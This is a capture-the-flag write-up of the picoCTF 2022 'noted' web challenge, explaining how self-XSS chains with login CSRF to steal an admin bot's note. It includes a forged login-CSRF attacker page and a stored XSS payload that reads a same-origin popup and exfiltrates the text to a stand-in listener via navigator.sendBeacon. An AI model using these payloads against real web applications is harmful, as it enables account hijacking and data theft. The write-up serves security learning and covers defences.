Skip to main content

noted picoCTF 2022 Solution

A web challenge where injecting malicious content into a note-taking app lets you steal admin credentials.

Published: July 20, 2023Updated: August 13, 2026

Description

A note-taking app with an admin bot. The catch that makes this hard: the XSS is self-XSS (you can only ever view your own notes, so your script runs in your own session, not the admin's), and the app has CSRF protection on the sensitive actions. The flag lives in the admin bot's own note. The real solution is a multi-window client-side attack: log the bot into your account via login CSRF, then read the admin's flag note out of a second window with your stored XSS.

Register an account and confirm you can only see your own notes (self-XSS), and that note rendering executes injected script.

Find the login form and check whether the LOGIN action has CSRF protection (it does not, which is the lever).

Set up a public listener (webhook.site / ngrok) to receive the exfiltrated flag text.

bash
# Register, create a note containing a <script> payload, view it to confirm execution
bash
# Inspect the login POST - note the missing CSRF token on login specifically

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Understand why plain cookie theft does not work
    Observation
    The XSS is self-XSS: notes render only in their owner's session, and the flag lives in the admin's note. Direct cookie theft fails, because your script never runs in the admin's session and their cookie is probably HttpOnly anyway.
    The XSS is self-XSS: your stored script only ever runs when YOU view YOUR note, in your own session. The admin never renders your note in their session, so you cannot directly run code as admin or read their cookie. The flag is text inside the admin's own note page. The plan is to get the admin's flag-note page open in one window and your XSS running in another same-origin window, then read across.
    Learn more

    Self-XSS is normally considered low impact because the victim has to attack themselves. Here it becomes powerful only when combined with a second bug (login CSRF) that lets you control which account the admin's browser is logged into, turning "your script in your session" into a same-origin foothold next to the admin's data.

  2. Step 2Login CSRF to swap the bot into your account
    Observation
    The login POST carries no CSRF token, while every other sensitive action does. That is the lever: forge a login form to quietly sign the admin bot into an account you control, which makes your self-XSS run inside the bot's browser.
    Build an attacker page that (1) opens the admin's flag-note page in a popup window (the bot is authenticated as admin, so the popup loads the flag note), then (2) auto-submits a login form to log the bot's MAIN window into YOUR account (login CSRF, since login has no token). Now the main window navigates to your note, which runs your XSS - and the popup still holds the admin's flag-note DOM, same-origin.
    js
    <!-- attacker page reported to the admin bot -->
    <script>
      // 1) open the admin's own flag note in a named popup (loads as admin)
      var w = window.open('http://CHALLENGE/notes', 'victim');
    </script>
    <!-- 2) login-CSRF: log the bot's main window into YOUR account -->
    <form action="http://CHALLENGE/login" method="POST">
      <input name="username" value="ATTACKER">
      <input name="password" value="ATTACKER_PW">
    </form>
    <script>document.forms[0].submit();</script>

    Exact field names, the flag-note URL, and the order of operations come from the app source; the principle is: admin's flag page in one same-origin window, your XSS-bearing note in the other.

    What didn't work first

    Tried: Trying to steal the admin's cookie with document.cookie instead of swapping sessions via login CSRF.

    The admin's session cookie is probably HttpOnly, so document.cookie comes back empty. Even readable, it would not help: your code runs in your own session, never the admin's, so their cookie is out of reach from your note. Login CSRF matters because it moves the admin's browser into your account, where your stored XSS does run.

    Tried: Submitting the login-CSRF form before opening the popup window, expecting to still have an admin-session popup.

    Submit the form first and the main window navigates into your account immediately, ending the admin session before window.open runs. The popup then opens as you rather than as the admin, and the flag note is not there. Open the popup while the admin session is still live, then fire the login CSRF to swap the main window.

    Learn more

    Login CSRF is the underused half of CSRF: instead of forging a state change in the victim's account, you force the victim to authenticate as you. Because the two windows are same-origin after this, the Same-Origin Policy permits your script to read the other window's DOM via the window.open handle.

  3. Step 3Read the admin's flag note across windows and exfiltrate
    Observation
    After the login CSRF fires, the bot's main window, now in your account, is same-origin with the still-open admin note popup. The named handle from window.open lets the payload reach into that popup's DOM and read the flag text directly.
    From your stored XSS (now executing because the bot's main window is logged in as you), reach into the popup window's document, read the admin's flag-note text, and POST it to your listener.
    js
    <!-- payload stored in YOUR note, runs in the bot's main window after the login CSRF -->
    <script>
      var v = window.open('', 'victim');           // re-grab the same-named popup
      setTimeout(function(){
        var flag = v.document.body.innerText;        // admin's flag note, same-origin
        navigator.sendBeacon('https://YOUR-LISTENER/?f=' + encodeURIComponent(flag));
      }, 1500);
    </script>
    bash
    # Watch your webhook.site / listener for the flag text
    What didn't work first

    Tried: Using window.open('', 'victim') immediately without a setTimeout, expecting the admin's note DOM to already be ready.

    The popup may still be navigating when the XSS fires, so reading its body returns an empty string, or throws a cross-origin error if the page has not yet committed to the same origin. A setTimeout, or a load listener on the popup, waits until the admin's flag note has finished loading and is readable.

    Tried: Sending the flag with fetch() or XMLHttpRequest instead of navigator.sendBeacon, expecting the exfiltration to succeed.

    fetch and XHR to an external domain are blocked by CORS unless the listener returns the right Access-Control-Allow-Origin header. navigator.sendBeacon issues a fire-and-forget POST that skips that preflight, so it delivers the data reliably to a plain listener setting no CORS headers at all.

    Learn more

    The defense that breaks this whole chain is a CSRF token on the login form (so the bot cannot be silently logged into your account) plus framing/opener restrictions. With login protected, the self-XSS stays self-contained and the admin's note is unreadable.

Flag

Reveal flag

picoCTF{...}

Self-XSS plus login CSRF, not simple cookie theft. Open the admin's flag note in a same-origin popup, login-CSRF the bot's main window into your account so your stored XSS runs, then read the popup's DOM across windows and exfiltrate the flag. (Not solved during the competition; flag held back.)

Key takeaway

Self-XSS is usually harmless, since only the victim can trigger their own script, but paired with login CSRF it escalates sharply: force a target's browser to authenticate as your account and your stored payload runs in their browser, same-origin with their sensitive data. The Same-Origin Policy lets scripts read across windows sharing an origin, so opening a privileged page in a popup before swapping sessions buys a cross-window read. The defense is a CSRF token on the login endpoint itself, not only on state-changing actions.

Related reading

Useful tools for Web Exploitation

Where to go next